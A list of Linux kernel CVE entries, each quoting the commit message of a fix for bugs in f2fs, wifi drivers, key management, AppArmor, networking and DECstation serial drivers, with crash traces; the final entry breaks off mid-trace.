| CVE-2026-63818 | In the Linux kernel, the following vulnerability has been resolved: f2fs: validate orphan inode entry count f2fs_recover_orphan_inodes() trusts the orphan block entry_count when replaying orphan inodes from the checkpoint pack. A corrupted entry_count larger than F2FS_ORPHANS_PER_BLOCK makes the recovery loop read past the ino[] array and interpret footer or following data as inode numbers. On a crafted image, mounting an unpatched kernel can drive orphan recovery into f2fs_bug_on() and panic the kernel. Validate entry_count before consuming entries so corrupted checkpoint data fails the mount with -EFSCORRUPTED and requests fsck instead. Set ERROR_INCONSISTENT_ORPHAN as well, so the corruption reason can be recorded in the superblock s_errors[] field. This gives fsck a persistent hint even though mount-time orphan recovery failure may leave no chance to persist SBI_NEED_FSCK through a checkpoint. |
| CVE-2026-63819 | In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on f2fs_get_node_folio_ra() kernel BUG at fs/f2fs/file.c:845! Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI CPU: 0 UID: 0 PID: 5336 Comm: syz.0.0 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:f2fs_do_truncate_blocks+0x1115/0x1140 fs/f2fs/file.c:845 Code: fc fc 90 0f 0b e8 8b 9d 9a fd 90 0f 0b e8 83 9d 9a fd 48 89 df 48 c7 c6 60 d1 1a 8c e8 54 f1 fc fc 90 0f 0b e8 6c 9d 9a fd 90 <0f> 0b e8 64 9d 9a fd 90 0f 0b 90 e9 93 fd ff ff e8 56 9d 9a fd 90 RSP: 0018:ffffc9000e4474c0 EFLAGS: 00010283 RAX: ffffffff842b1d34 RBX: 0000000000000003 RCX: 0000000000100000 RDX: ffffc9000f03a000 RSI: 0000000000035503 RDI: 0000000000035504 RBP: ffffc9000e447608 R08: ffff8880123b0000 R09: 0000000000000002 R10: 00000000fffffffe R11: 0000000000000002 R12: 0000000000000001 R13: 0000000000000000 R14: 1ffff92001c88ea0 R15: 00000000ffff039c FS: 00007f7e02ee36c0(0000) GS:ffff88808c887000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ff0305c4000 CR3: 0000000012d4c000 CR4: 0000000000352ef0 Call Trace: <TASK> f2fs_truncate_blocks+0x10a/0x300 fs/f2fs/file.c:882 f2fs_truncate+0x471/0x7c0 fs/f2fs/file.c:940 f2fs_evict_inode+0xa3f/0x1ac0 fs/f2fs/inode.c:907 evict+0x61e/0xb10 fs/inode.c:841 f2fs_fill_super+0x5f43/0x78f0 fs/f2fs/super.c:5224 get_tree_bdev_flags+0x431/0x4f0 fs/super.c:1694 vfs_get_tree+0x92/0x2a0 fs/super.c:1754 fc_mount fs/namespace.c:1193 [inline] do_new_mount_fc fs/namespace.c:3758 [inline] do_new_mount+0x341/0xd30 fs/namespace.c:3834 do_mount fs/namespace.c:4167 [inline] __do_sys_mount fs/namespace.c:4383 [inline] __se_sys_mount+0x31d/0x420 fs/namespace.c:4360 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f count = ADDRS_PER_PAGE(dn.node_folio, inode); count -= dn.ofs_in_node; f2fs_bug_on(sbi, count < 0); The fuzz test will trigger above bug_on in f2fs. The root cause should be: in the corrupted inode, there is a direct node which has the same ino and nid in its footer, so in f2fs_do_truncate_blocks(), after f2fs_get_dnode_of_data() finds such dnode: 1) ADDRS_PER_PAGE(dn.node_folio, inode) will return 923 2) once dn.ofs_in_node points to addr[923, 1017] Then it will trigger the system panic. Let's introduce NODE_TYPE_NON_IXNODE to indicate current node should not be an inode or xattr node, and then use it in below path to detect inconsistent node chain in inode mapping table: - f2fs_do_truncate_blocks - f2fs_get_dnode_of_data - f2fs_get_node_folio_ra - __get_node_folio - f2fs_sanity_check_node_footer - case NODE_TYPE_NON_IXNODE -> check whether it is inode|xnode |
| CVE-2026-63821 | In the Linux kernel, the following vulnerability has been resolved: wifi: rtw88: usb: fix memory leaks on USB write failures When rtw_usb_write_port() fails to submit a USB Request Block (URB) (e.g., due to device disconnect or ENOMEM), the completion callback is never executed. Currently, the driver ignores the return value of rtw_usb_write_port() in rtw_usb_write_data() and rtw_usb_tx_agg_skb(). Because these functions rely on the completion callback to free the socket buffers (skbs) and the transaction control block (txcb), a submission failure results in: 1. A memory leak of the allocated skb in rtw_usb_write_data(). 2. A memory leak of the txcb structure and all aggregated skbs in rtw_usb_tx_agg_skb(). Fix this by checking the return value of rtw_usb_write_port(). If it fails, explicitly free the skb in rtw_usb_write_data(), and properly purge the tx_ack_queue and free the txcb in rtw_usb_tx_agg_skb(). The issue was discovered in practice during device disconnect/reconnect scenarios and memory pressure conditions. Tested by verifying normal TX operation continues after the fix without regressions. |
| CVE-2026-63822 | In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: fix warning when unbinding If there is an error during some initialization related to firmware, the buffers dp->tx_ring[i].tx_status are released. However this is released again when the device is unbinded (ath11k_pci), and we get: WARNING: CPU: 0 PID: 6231 at mm/slub.c:4368 free_large_kmalloc+0x57/0x90 Call Trace: free_large_kmalloc ath11k_dp_free ath11k_core_deinit ath11k_pci_remove ... The issue is always reproducible from a VM because the MSI addressing initialization is failing. In order to fix the issue, just set the buffers to NULL after releasing in order to avoid the double free. |
| CVE-2026-63823 | In the Linux kernel, the following vulnerability has been resolved: keys: Pin request_key_auth payload in instantiate paths A: request_key() B: KEYCTL_INSTANTIATE_IOV ================ ========================= create auth key store rka in auth key wait for helper get auth key load rka from auth key copy user payload sleep on #PF helper completed detach and free rka destroy auth key wake up use rka->target_key **USE-AFTER-FREE** Give request_key_auth payloads a refcount. Take a payload reference while authkey->sem stabilizes the payload and revocation state. Hold that reference across the instantiate and reject paths. Drop the auth key owning reference from revoke and destroy. [jarkko: Replaced the first two paragraphs of text with an actual concurrency scenario.] |
| CVE-2026-63824 | In the Linux kernel, the following vulnerability has been resolved: KEYS: fix overflow in keyctl_pkey_params_get_2() The length for the internal output buffer is calculated incorrectly, which can result overflow when a too small buffer is provided. Fix the bug by allocating internal output with the size of the maximum length of the cryptographic primitive instead of caller provided size. |
| CVE-2026-63825 | In the Linux kernel, the following vulnerability has been resolved: gcov: use atomic counter updates to fix concurrent access crashes GCC's GCOV instrumentation can merge global branch counters with loop induction variables as an optimization. In inflate_fast(), the inner copy loops get transformed so that the GCOV counter value is loaded multiple times to compute the loop base address, start index, and end bound. Since GCOV counters are global (not per-CPU), concurrent execution on different CPUs causes the counter to change between loads, producing inconsistent values and out-of-bounds memory writes. The crash manifests during IPComp (IP Payload Compression) processing when inflate_fast() runs concurrently on multiple CPUs: BUG: unable to handle page fault for address: ffffd0a3c0902ffa RIP: inflate_fast+1431 Call Trace: zlib_inflate __deflate_decompress crypto_comp_decompress ipcomp_decompress [xfrm_ipcomp] ipcomp_input [xfrm_ipcomp] xfrm_input At the crash point, the compiler generated three loads from the same global GCOV counter (__gcov0.inflate_fast+216) to compute base, start, and end for an indexed loop. Another CPU modified the counter between loads, making the values inconsistent - the write went 3.4 MB past a 65 KB buffer. Add -fprofile-update=prefer-atomic to CFLAGS_GCOV at the global level in the top-level Makefile, guarded by a try-run compile test. The test compiles a minimal program with and without -fprofile-update=prefer-atomic using the full KBUILD_CFLAGS, then compares undefined symbols in the resulting object files. If prefer-atomic introduces new undefined references (such as __atomic_fetch_add_8 on i386 or __aarch64_ldadd8_relax on arm64 with outline-atomics), the flag is not added -- the kernel does not link against libatomic. On architectures where GCC inlines 64-bit atomic counter updates (x86_64, s390, ...) the test passes and the flag is enabled, preventing the compiler from merging counters with loop induction variables and fixing the observed concurrent-access crash. On architectures where the flag would introduce libatomic dependencies, it is silently omitted and behaviour is no worse than before this patch. Move the CFLAGS_GCOV block from its original position (before the arch Makefile include) to after the core KBUILD_CFLAGS assignments but before the scripts/Makefile.gcc-plugins include. This placement ensures the try-run test sees arch-specific flags (-m32, -march=, -mno-outline-atomics) while avoiding GCC plugin flags (-fplugin=) that would break the test on clean builds when plugin shared objects do not yet exist. |
| CVE-2026-63826 | In the Linux kernel, the following vulnerability has been resolved: fbdev: fix use-after-free in store_modes() store_modes() replaces a framebuffer's modelist with modes from userspace. On success it frees the old modelist with fb_destroy_modelist(). Two fields still point into that freed list. One pointer is fb_display[i].mode, the mode a console is using. fbcon_new_modelist() moves these pointers to the new list. It only does so for consoles still mapped to the framebuffer. An unmapped console is skipped and keeps its stale pointer. Unbinding fbcon, for example, sets con2fb_map[i] to -1 but leaves fb_display[i].mode set. An FBIOPUT_VSCREENINFO ioctl with FB_ACTIVATE_INV_MODE later reaches fbcon_mode_deleted(). That function reads the stale fb_display[i].mode through fb_mode_is_equal(). The read is a use-after-free. The other pointer is fb_info->mode, the current mode. It is set through the mode sysfs attribute. store_modes() does not update fb_info->mode, so it is left pointing into the freed list. show_mode(), the attribute's read handler, dereferences the stale fb_info->mode through mode_string(). The read is a use-after-free. Clear both pointers before freeing the list. Commit a1f305893074 ("fbcon: Set fb_display[i]->mode to NULL when the mode is released") added the helper fbcon_delete_modelist(). It clears every fb_display[i].mode that points into a given list. So far it is called only from the unregister path. Call it from store_modes() too, and set fb_info->mode to NULL. |
| CVE-2026-63827 | In the Linux kernel, the following vulnerability has been resolved: apparmor: fix use-after-free in rawdata dedup loop aa_replace_profiles() walks ns->rawdata_list to dedup the incoming policy blob against entries already attached to existing profiles. Per the kernel-doc on struct aa_loaddata, list membership does not hold a reference: profiles hold pcount, and when the last pcount drops, do_ploaddata_rmfs() is queued on a workqueue that takes ns->lock and removes the entry. Between dropping the last pcount and the workqueue running, an entry remains on the list with pcount == 0. aa_get_profile_loaddata() is an unconditional kref_get() on pcount, so when the dedup loop hits such an entry, refcount hardening reports refcount_t: addition on 0; use-after-free. inside aa_replace_profiles(), and the poisoned counter then trips "saturated" and "underflow" warnings on the subsequent uses of the same loaddata. Before commit a0b7091c4de4 ("apparmor: fix race on rawdata dereference") the dedup path used a get_unless_zero-style helper on a single counter, so the existing "if (tmp)" guard was meaningful. The split-refcount refactor introduced aa_get_profile_loaddata(), which has plain kref_get() semantics, and the guard quietly became a no-op. Introduce aa_get_profile_loaddata_not0(), matching the existing _not0 convention used by aa_get_profile_not0(), and use it for the rawdata_list dedup lookup so dying entries are skipped. Reproduced on x86_64 with v7.1-rc5 in QEMU+KVM running Ubuntu 24.04 + stress-ng 0.17.06: stress-ng --apparmor 1 --klog-check --timeout 60s Without this patch the three refcount_t warnings fire within a few seconds. With it the same 60 s run is clean. Coverage is a smoke-test only; a longer soak with CONFIG_KASAN, CONFIG_KCSAN and CONFIG_PROVE_LOCKING would be welcome from anyone with the cycles. |
| CVE-2026-63828 | In the Linux kernel, the following vulnerability has been resolved: apparmor: mediate the implicit connect of TCP fast open sendmsg sendmsg()/sendto() with MSG_FASTOPEN is a combination of connect(2) and write(2): it opens the connection in the SYN. apparmor_socket_sendmsg() only checks AA_MAY_SEND, so a profile that grants send but denies connect lets a confined task open an outbound TCP/MPTCP connection that connect(2) would have refused, bypassing connect mediation. Mediate the implicit connect when MSG_FASTOPEN is set and a destination is supplied. Add it to apparmor_socket_sendmsg() (not the shared aa_sock_msg_perm() helper, which recvmsg also uses) and call aa_sk_perm() directly, mirroring the selinux and tomoyo fixes. sk_is_tcp() does not cover MPTCP fast open, so the SOCK_STREAM/IPPROTO_MPTCP arm is explicit. |
| CVE-2026-63829 | In the Linux kernel, the following vulnerability has been resolved: net: ip_gre: require CAP_NET_ADMIN in the device netns for changelink A tunnel changelink() operates on at most two netns, dev_net(dev) and the tunnel link netns t->net. They differ once the device is created in or moved to a netns other than the one the request runs in. The rtnl changelink path checks CAP_NET_ADMIN only against dev_net(dev), so a caller privileged there but not in t->net can rewrite a tunnel that lives in t->net. Add rtnl_dev_link_net_capable() next to rtnl_get_net_ns_capable() in net/core/rtnetlink.c. It requires CAP_NET_ADMIN in the link netns and is skipped when the link netns is dev_net(dev), where the rtnl path already checked it. The other patches in this series use the same helper. Gate ipgre_changelink() and erspan_changelink() with it, at the top of the op before any attribute is parsed, because the parsers update live tunnel fields first. ipgre_netlink_parms() sets t->collect_md before ip_tunnel_changelink() runs. Commit 8b484efd5cb4 ("ip6: vti: Use ip6_tnl.net in vti6_siocdevprivate().") added the same check on the ioctl path. This adds it on RTM_NEWLINK. |
| CVE-2026-63830 | In the Linux kernel, the following vulnerability has been resolved: net: skmsg: preserve sg.copy across SG transforms The sk_msg sg.copy bitmap is part of the scatterlist entry ownership state. A set bit tells sk_msg_compute_data_pointers() not to expose the entry through writable BPF ctx->data. This protects entries backed by pages that are not private to the sk_msg, such as splice-backed file page-cache pages. Several sk_msg transform paths move, copy, split, or compact msg->sg.data[] entries without moving the matching sg.copy bit. This can make an externally backed entry arrive at a new slot with a clear copy bit. A later SK_MSG verdict can then expose sg_virt(sge) as writable ctx->data and BPF stores can modify the original page cache. Keep sg.copy synchronized with sg.data[] whenever entries are transferred, shifted, split, or copied into a new sk_msg. Clear the bit when an entry is replaced by a newly allocated private page or freed. This covers the BPF pull/push/pop helpers, sk_msg_shift_left/right(), sk_msg_xfer(), and tls_split_open_record(), including the partial tail entry created during TLS open-record splitting. |
| CVE-2026-63831 | In the Linux kernel, the following vulnerability has been resolved: mac802154: llsec: add skb_cow_data() before in-place crypto llsec_do_encrypt_unauth(), llsec_do_encrypt_auth(), llsec_do_decrypt_unauth(), and llsec_do_decrypt_auth() all perform in-place cryptographic transformations on skb data. They build a scatterlist with sg_init_one() pointing into the skb's linear data area and then pass the same scatterlist as both src and dst to the crypto API (e.g. crypto_skcipher_encrypt/decrypt, crypto_aead_encrypt/decrypt). On the RX path, __ieee802154_rx_handle_packet() clones the received skb before handing it to each subscriber via ieee802154_subif_frame(). The cloned skb shares the same underlying data buffer via reference counting. When llsec_do_decrypt() subsequently modifies this shared buffer in place, it corrupts data that other clones -- potentially belonging to other sockets or subsystems -- still reference. On the TX path, similar data sharing can occur when an skb's head has been cloned (skb_cloned() returns true). The fix is to call skb_cow_data() before performing any in-place crypto operation. skb_cow_data() ensures that the skb's data area is not shared: if the skb head is cloned or the data spans multiple fragments, it copies the data into a private buffer that can be safely modified in place. This is the same pattern used by: - ESP (net/ipv4/esp4.c, net/ipv6/esp6.c) - MACsec (drivers/net/macsec.c) - WireGuard (drivers/net/wireguard/receive.c) - TIPC (net/tipc/crypto.c) Without this guard, in-place crypto on shared skb data leads to: - Silent data corruption of other skb clones - Use-after-free when the crypto API scatterwalk writes through a page that has already been freed by another clone's kfree_skb() - Kernel crashes under concurrent 802.15.4 traffic with security enabled (KASAN/KMSAN reports slab-use-after-free) Found by 0sec (https://0sec.ai) using automated source analysis. |
| CVE-2026-63832 | In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: add wcid publish check in mt76_sta_add Since mt7925_mac_sta_add publishes wcid, add publish check in mt76_sta_add to avoid reinitializing the wcid->poll_list. Found dev->sta_poll_list corruption when using mt7925 and 7.1-rc4. According to the corruption information, prev->next was changed to itself. wlan0: disconnect from AP 90:fb:5d:94:8b:e3 for new auth to 90:fb:5d:94:8b:e2 wlan0: authenticate with 90:fb:5d:94:8b:e2 (local address=84:9e:56:9c:7e:6b) wlan0: send auth to 90:fb:5d:94:8b:e2 (try 1/3) slab kmalloc-8k start ffff8c80958a6000 pointer offset 4160 size 8192 list_add corruption. prev->next should be next (ffff8c808a7488f8), but was ffff8c80958a7040. (prev=ffff8c80958a7040). mt76_wcid_add_poll+0x95/0xd0 [mt76] mt7925_mac_add_txs.part.0+0xa5/0xe0 [mt7925_common] mt7925_rx_check+0xa7/0xc0 [mt7925_common] mt76_dma_rx_poll+0x50d/0x790 [mt76] mt792x_poll_rx+0x52/0xe0 [mt792x_lib] |
| CVE-2026-63833 | In the Linux kernel, the following vulnerability has been resolved: ntfs3: reject direct userspace writes to reserved $LX* xattrs NTFS3 uses $LXUID, $LXGID, $LXMOD and $LXDEV as internal WSL permission metadata and reloads them into i_uid, i_gid and i_mode from ntfs_get_wsl_perm(). Because the empty-prefix xattr handler also lets file owners call setxattr() on these names directly, an unprivileged writer on a writable ntfs3 mount can plant root ownership and S_ISUID on their own file and gain euid 0 after inode reload. Reject direct userspace writes to the reserved $LX* names. Internal ntfs3 metadata updates are unchanged because ntfs_save_wsl_perm() writes them via ntfs_set_ea() directly. [almaz.alexandrovich@paragon-software.com: added an additional check for non privileged users] |
| CVE-2026-63834 | In the Linux kernel, the following vulnerability has been resolved: batman-adv: tp_meter: restrict number of unacked list entries When the unacked_list is unbound, an attacker could send messages with small lengths and appropriated seqno + gaps to force the receiver to allocate more and more unacked_list entries. And the end either causing an out-of-memory situation or increase the management overhead for the (large) list that significant portions of CPU cycles are wasted in searching through the list. When limiting the list to a specific number, it is important to still correctly add a new entry to the list. But if the list became larger than the limit, the last entry of the list (with the highest seqno) must be dropped to still allow the earlier seqnos to finish and therefore to continue the process. Otherwise, the process might get stuck with too high seqnos which are not handled by batadv_tp_ack_unordered(). |
| CVE-2026-63835 | In the Linux kernel, the following vulnerability has been resolved: batman-adv: v: prevent OGM aggregation on disabled hardif When an interface gets disabled, the worker is correctly disabled by batadv_hardif_disable_interface() -> ... -> batadv_v_ogm_iface_disable(). In this process, the skb aggr_list is also freed. But batadv_v_ogm_send_meshif() can still queue new skbs (via batadv_v_ogm_queue_on_if()) to the aggr_list. This will only stop after all cores can no longer find the RCU protected list of hard interfaces. These queued skbs will never be freed or consumed by batadv_v_ogm_aggr_work. The batadv_v_ogm_iface_disable() function must block batadv_v_ogm_queue_on_if() to avoid leak of skbs. |
| CVE-2026-63836 | In the Linux kernel, the following vulnerability has been resolved: batman-adv: tp_meter: avoid divide-by-zero for dec_cwnd The cwnd is always MSS <= cwnd <= 0x20000000. But the calculation in batadv_tp_update_cwnd() assumes unsigned 32 bit arithmetics. ((mss * 8) ** 2) / (cwnd * 8) In case cwnd is actually 0x20000000, it will be shifted by 3 bit to the left end up at 0x100000000 or U32_MAX + 1. It will therefore wrap around and be 0 - resulting in: ((mss * 8) ** 2) / 0 This is of course invalid and cannot be calculated. The calculation should must be simplified to avoid this overflow: (mss ** 2) * 8 / cwnd It will keep the precision enhancement from the scaling (by 8) but avoid the overflow in the divisor. In theory, there could still be an overflow in the dividend. It is at the moment fixed to BATADV_TP_PLEN in batadv_tp_recv_ack() - so it is not an imminent problem. But allowing it to use the whole u32 bit range, would mean that it can still use up to 67 bits. To keep this calculation safe for 32 bit arithmetic, mss must never use more than floor((32 - 3) / 2) bits - or in other words: must never be larger than 16383. |
| CVE-2026-63853 | In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/vcn: set no_user_fence for VCN v4.0 enc ring VCN encoder and decoder rings do not support 64-bit user fence writes, reject CS submissions with user fences. (cherry picked from commit fd852c048b46f9825e904a4f3f4538fe9d8827d9) |
| CVE-2026-63858 | In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: add hook transactions for device deletions Restore the flag that indicates that the hook is going away, ie. NFT_HOOK_REMOVE, but add a new transaction object to track deletion of hooks without altering the basechain/flowtable hook_list during the preparation phase. The existing approach that moves the hook from the basechain/flowtable hook_list to transaction hook_list breaks netlink dump path readers of this RCU-protected list. It should be possible use an array for nft_trans_hook to store the deleted hooks to compact the representation but I am not expecting many hook object, specially now that wildcard support for devices is in place. Note that the nft_trans_chain_hooks() list contains a list of struct nft_trans_hook objects for DELCHAIN and DELFLOWTABLE commands, while this list stores struct nft_hook objects for NEWCHAIN and NEWFLOWTABLE. Note that new commands can be updated to use nft_trans_hook for consistency. This patch also adapts the event notification path to deal with the list of hook transactions. |
| CVE-2026-63867 | In the Linux kernel, the following vulnerability has been resolved: mptcp: close TOCTOU race while computing rcv_wnd The MPTCP output path access locklessly the MPTCP-level ack_seq in multiple times, using possibly different values for the data_ack in the DSS option and to compute the announced rcv wnd for the same packet. Refactor the cote to avoid inconsistencies which may confuse the peer. Also ensure that the MPTCP level rcv wnd is updated only when the egress packet actually contains a DSS ack. |
| CVE-2026-63868 | In the Linux kernel, the following vulnerability has been resolved: net: garp: fix unsigned integer underflow in garp_pdu_parse_attr The receive-side GARP attribute parser computes dlen with reversed operands: dlen = sizeof(*ga) - ga->len; ga->len is the on-wire attribute length and includes the GARP attribute header. For normal attributes with data, ga->len is larger than sizeof(*ga), so the subtraction underflows in unsigned arithmetic. The resulting value is later passed to garp_attr_lookup(), whose length argument is u8. After truncation, the parsed data length usually no longer matches the length stored for locally registered attributes, so received Join/Leave events are ignored. This breaks the GARP receive path for common attributes, such as GVRP VLAN registration attributes. Compute the data length as the attribute length minus the header length. |
| CVE-2026-63869 | In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap When parsing the radiotap header of an injected frame, ieee80211_parse_tx_radiotap() uses the IEEE80211_RADIOTAP_ANTENNA value directly as a shift count: info->control.antennas |= BIT(*iterator.this_arg); *iterator.this_arg is an 8-bit value taken straight from the frame supplied by userspace, so BIT() can be asked to shift by up to 255. That is undefined behaviour on the unsigned long and is reported by UBSAN: UBSAN: shift-out-of-bounds in net/mac80211/tx.c:2174:30 shift exponent 235 is too large for 64-bit type 'unsigned long' Call Trace: ieee80211_parse_tx_radiotap+0xadb/0x1950 net/mac80211/tx.c:2174 ieee80211_monitor_start_xmit+0xb1f/0x1250 net/mac80211/tx.c:2451 ... packet_sendmsg+0x3eb6/0x50f0 net/packet/af_packet.c:3109 info->control.antennas is a 2-bit bitmap (u8 antennas:2), so only antenna indices 0 and 1 can ever be represented. Ignore any larger value instead of shifting out of bounds. |
| CVE-2026-63870 | In the Linux kernel, the following vulnerability has been resolved: ieee802154: 6lowpan: only accept IPv6 packets in lowpan_xmit() The aoe driver (or similar) generates a non-IPv6 packet (e.g., ETH_P_AOE) and queues it for transmission via dev_queue_xmit() on a 6LoWPAN interface (configured by the user or test case). Since the packet is not IPv6, the 6LoWPAN header_ops->create function (lowpan_header_create or header_create) returns early without initializing the lowpan_addr_info structure in the skb headroom. In the transmit function (lowpan_xmit), the driver calls lowpan_header (or setup_header) which unconditionally copies and uses the lowpan_addr_info from the headroom, which contains uninitialized data. Fix this by dropping non IPv6 packets. A similar fix is needed in net/bluetooth/6lowpan.c bt_xmit(). |
| CVE-2026-63871 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: ISO: Fix data-race on iso_pi fields in hci_get_route calls iso_connect_bis(), iso_connect_cis(), iso_listen_bis(), and iso_conn_big_sync() call hci_get_route() using iso_pi(sk)->dst, iso_pi(sk)->src, and iso_pi(sk)->src_type without holding lock_sock(). These fields may be modified concurrently by connect() or setsockopt() on the same socket, resulting in data-races reported by KCSAN. Fix this by snapshotting the required fields under lock_sock() before calling hci_get_route(). BUG: KCSAN: data-race in memcmp+0x45/0xb0 race at unknown origin, with read to 0xffff8880122135cf of 1 bytes by task 333 on cpu 1: memcmp+0x45/0xb0 hci_get_route+0x27e/0x490 iso_connect_cis+0x4c/0xa10 iso_sock_connect+0x60e/0xb30 __sys_connect_file+0xbd/0xe0 __sys_connect+0xe0/0x110 __x64_sys_connect+0x40/0x50 x64_sys_call+0xcad/0x1c60 do_syscall_64+0x133/0x590 entry_SYSCALL_64_after_hwframe+0x77/0x7f |
| CVE-2026-63872 | In the Linux kernel, the following vulnerability has been resolved: esp: fix page frag reference leak on skb_to_sgvec failure In esp_output_tail(), when esp->inplace is false, the old skb page frags are replaced with a new page from the xfrm page_frag cache. The source scatterlist (sg) is built from the old frags before the replacement, and esp_ssg_unref() is responsible for releasing the old page references after the crypto operation completes. However, if the second skb_to_sgvec() call (which builds the destination scatterlist from the new page) fails, the code jumps to error_free which only calls kfree(tmp). The old page frag references captured in the source scatterlist are never released: 1. sg[] is built from old frags via skb_to_sgvec() (no extra get_page) 2. nr_frags is set to 1 and frag[0] is replaced with the new page 3. Second skb_to_sgvec() fails -> goto error_free 4. kfree(tmp) frees the sg[] memory but old frags are not unref'd 5. kfree_skb() only releases frag[0] (the new page), not the old ones Fix this by adding a bool parameter to esp_ssg_unref() that, when true, unconditionally unrefs the source scatterlist frags without checking req->src and req->dst, since those fields are not yet initialized by aead_request_set_crypt() at the point of the error. Existing callers pass false to preserve the original behavior. The same issue exists in both esp4 and esp6 as the code is identical. |
| CVE-2026-63875 | In the Linux kernel, the following vulnerability has been resolved: arm64: tlb: Flush walk cache when unsharing PMD tables When huge_pmd_unshare() is called to unshare a PMD table, the tlb_unshare_pmd_ptdesc() function sets tlb->unshared_tables=true but the aarch64 tlb_flush() only checked tlb->freed_tables to determine whether to use TLBF_NONE (vae1is, invalidates walk cache) or TLBF_NOWALKCACHE (vale1is, leaf-only). This caused the stale PMD page table entry to remain in the walk cache after unshare, potentially leading to incorrect page table walks. Fix by including unshared_tables in the check, so that when unsharing tables, TLBF_NONE is used and the walk cache is properly invalidated. Here is the detailed distinction between vae1is and vale1is: | Instruction Combination | Actual Invalidation Scope | | ------------------------ | --------------------------------------------------| | `VAE1IS` + TTL=`0` | All entries at all levels (full invalidation) | | `VAE1IS` + TTL=`2` (L2) | Non-leaf at Level 0/1 + leaf at Level 2 | | `VALE1IS` + TTL=`0` | Leaf entries at all levels (non-leaf not cleared) | | `VALE1IS` + TTL=`2` (L2) | Leaf entry at Level 2 only | |
| CVE-2026-63876 | In the Linux kernel, the following vulnerability has been resolved: serial: zs: Convert to use a platform device Prevent a crash from happening as the first serial port is initialised: Console: switching to mono frame buffer device 160x64 fb0: PMAG-AA frame buffer device at tc0 DECstation Z85C30 serial driver version 0.10 CPU 0 Unable to handle kernel paging request at virtual address 0000002c, epc == 803ab00c, ra == 803aafe0 Oops[#1]: CPU: 0 PID: 1 Comm: swapper Not tainted 6.4.0-rc3-00031-g84a9582fd203-dirty #57 $ 0 : 00000000 10012c00 803aaeb0 00000000 $ 4 : 80e12f60 80e12f50 80e12f58 81000030 $ 8 : 00000000 805ff37c 00000000 33433538 $12 : 65732030 00000006 80c2915d 6c616972 $16 : 80e12f00 807b7630 00000000 00000000 $20 : 00000004 00000348 000001a0 807623b8 $24 : 00000018 00000000 $28 : 80c24000 80c25d60 8078b148 803aafe0 Hi : 00000000 Lo : 00000000 epc : 803ab00c serial_base_ctrl_add+0x78/0xf4 ra : 803aafe0 serial_base_ctrl_add+0x4c/0xf4 Status: 10012c03 KERNEL EXL IE Cause : 00000008 (ExcCode 02) BadVA : 0000002c PrId : 00000440 (R4400SC) Modules linked in: Process swapper (pid: 1, threadinfo=(ptrval), task=(ptrval), tls=00000000) Stack : 80760000 00000cc0 00400044 00400040 803aa02c 80d61ab8 00000000 807b7630 80760000 807623b8 807b7628 803aa644 80386998 00000000 80e17780 80220f68 80e17780 80d61ab8 80c17d80 80e17780 80e17780 8063c798 80e17780 80383fa0 00000010 80e17780 00000000 80386998 807a0000 00000000 00400040 8038f848 807623b8 80d61ab8 00000004 80e17780 00000000 803a68e4 80c25e2c 803bb884 ... Call Trace: [<803ab00c>] serial_base_ctrl_add+0x78/0xf4 [<803aa644>] serial_core_register_port+0x174/0x69c [<8077e9ac>] zs_init+0xc8/0xfc [<800404d4>] do_one_initcall+0x40/0x2ac [<8076cecc>] kernel_init_freeable+0x1e4/0x270 [<80605bec>] kernel_init+0x20/0x108 [<800431e8>] ret_from_kernel_thread+0x14/0x1c Code: 2442aeb0 ae120024 ae0200d0 <8c67002c> 50e00001 8c670000 3c06806e 3c05806e afb30010 ---[ end trace 0000000000000000 ]--- (report at the offending commit) -- where a pointer is dereferenced that has been derived from a null pointer to the port's parent device. Since no device is available with legacy probing and it's not anymore a preferable way to discover devices anyway, switch the driver to using a platform device and use it as the port's parent device. Update resource handling accordingly and only request the actual span of addresses used within the slot, which will have had its resource already requested by generic platform device code. Use platform_driver_probe() not just because SCC devices are fixed with solder on board and not straightforward to remove, but foremost because the associated TTY's major device number is the same as used by the dz driver and the first driver to claim it will prevent the other one from using it. Either one DZ device or some SCC devices will be present in a given system but never both at a time, and therefore we want the major device number to be claimed by the first driver to actually successfully bind to its device and platform_driver_probe() is a way to fulfil that. An unfortunate consequence of the switch to a platform device is we now hand the console over from the bootconsole much later in the bootstrap. The firmware console handler appears good enough though to work so late and in particular with interrupts enabled. Since there is one way only remaining to reach zs_reset() now, remove the port initialisation marker as no longer needed and go through the channel reset unconditionally. |
| CVE-2026-63877 | In the Linux kernel, the following vulnerability has been resolved: serial: dz: Convert to use a platform device Prevent a crash from happening as the first serial port is initialised: Console: switching to colour frame buffer device 160x64 tgafb: SFB+ detected, rev=0x02 fb0: Digital ZLX-E1 frame buffer device at 0x1e000000 DECstation DZ serial driver version 1.04 CPU 0 Unable to handle kernel paging request at virtual address 000000bc, epc == 8048b3a4, ra == 80470a78 Oops[#1]: CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.19.0-dirty #35 NONE $ 0 : 00000000 1000ac00 00000004 804707ac $ 4 : 00000000 80e20850 80e20858 81000030 $ 8 : 00000000 8072c81c 00000008 fefefeff $12 : 6c616972 00000006 80c5917f 69726420 $16 : 80e20800 00000000 808f8968 80e20800 $20 : 00000000 807f5a90 808b0094 808d3bc8 $24 : 00000018 80479030 $28 : 80c2e000 80c2fd70 00000069 80470a78 Hi : 00000004 Lo : 00000000 epc : 8048b3a4 __dev_fwnode+0x0/0xc ra : 80470a78 serial_base_ctrl_add+0xa0/0x168 Status: 1000ac04 IEp Cause : 30000008 (ExcCode 02) BadVA : 000000bc PrId : 00000220 (R3000) Modules linked in: Process swapper/0 (pid: 1, threadinfo=(ptrval), task=(ptrval), tls=00000000) Stack : 00400044 00400040 8046f4cc 00000000 808a6148 808a0000 808f8968 8086983c 